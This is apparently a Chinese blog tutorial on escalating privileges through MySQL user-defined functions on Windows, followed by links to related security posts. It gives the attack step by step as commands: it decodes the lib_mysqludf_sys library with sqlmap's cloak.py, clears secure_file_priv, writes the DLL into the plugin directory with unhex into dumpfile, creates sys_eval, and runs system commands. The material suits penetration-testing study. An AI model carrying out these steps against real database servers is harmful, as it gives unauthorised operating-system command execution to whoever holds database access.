windwos下mysql的udf提权

MySql UDF提权介绍

UDF(User Defined Functions)即用户自定义函数,通过这种方式可以实现命令执行,其原理是通过lib_mysqludf_sys提供的函数可以执行系统命令 攻击场景:同之前利用日志写WebShell的场景,即堆叠注入或MySQL终端权限或类似phpMyAdmin数据库管理工具后台权限等

UDF的几个关键函数

sys_eval():执行任意命令,并将输出返回

sys_exec():执行任意命令,并将返回码返回

sys_get():获取一个环境变量

sys set():创建或修改一个环境变量

UDF文件获取的方式

复制代码
https://github.com/mysqludf/lib_mysqludf_sys

sqlmap工具中的UDF文件

sqlmap下:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

sqlmap中的UDF文件位于sqlmap/data/udf/mysqI/目录中,该文件经过编码,需要使用sqlmap/extra/cloak目录下的cloak.py文件进行解码

liunx:

复制代码
python cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windwos:

复制代码
python cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

dumpfile语法

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容

基本语法: select[列名] from table [where语句] intodumpfile '目标文件'[option];

两者区别

outfile可导出多行数据,而dumpfile只导出一行outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

查看路径

用phpstudy的Extensions\MySQL5.7.26\bin\mysql.exe客户端程序,通过获取代的账号密码登录mysql服务端

查看mysql服务器公共库路径

复制代码
show variables like 'plugin%';        

查看secure_file_priv值是否为空

复制代码
show global variables like 'secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=

那么我们可以通过修改my.ini去设置secure_file_priv 。

查看mysql安装路径

复制代码
select @@basedir;

然后访问这个地址,拿到my.ini

然后我们打开my.ini(以记事本方式打开即可)

添加下面标红的语句,保存退出。

secure_file_priv=

然后再查看一下,发现secure_file_priv已经改过来了

确定平台是64位还是32位

复制代码
show variables like '%version_%';

将udf.dll写入到plugin目录下

先在Mysql根目录中国新建lib\plugin的子目录,再往mysql的plugin目录中写UDF文件

复制代码
select unhex('xxx') into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll';

注意: unhex()函数值就是UDF文件的Hex值,在Linux下可以使用hexdump命令获取,在Windows下使用WinHex可以获取得到 利用dumpfile才能将原文件数据原封不动地写到指定文件中

WinHex

WinHex是一款16进制的文本编辑器与磁盘编辑软件。可以进行Hex和ASCII编码的编辑与修改,支持多文件搜寻替换功能模式,一般运算和逻辑运算,磁盘磁区的编辑,文件比对和分析功能 下载地址: 【WinHex下载】2024年最新官方正式版WinHex 免费下载 - 腾讯软件中心官网 这里用WinHex打开获取lib_mysqludf_sys.dll文件Hex数据

名字执行

创建函数

复制代码
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

执行

复制代码
select sys_eval("whoami");
相关推荐
上海云盾第一敬业销售5 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全
饮长安千年月5 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
淡水猫.6 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥7 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei7 小时前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全
网安INF10 小时前
CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)
java·web安全·网络安全·kafka·漏洞·jndi注入
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十期-Over Permission 模块)
学习·安全·web安全·渗透测试·网络安全学习
痴人说梦梦中人18 小时前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
Web极客码21 小时前
如何轻松、安全地管理密码(新手指南)
计算机网络·安全·web安全·网络安全
安全系统学习1 天前
【网络安全】Qt免杀样本分析
java·网络·安全·web安全·系统安全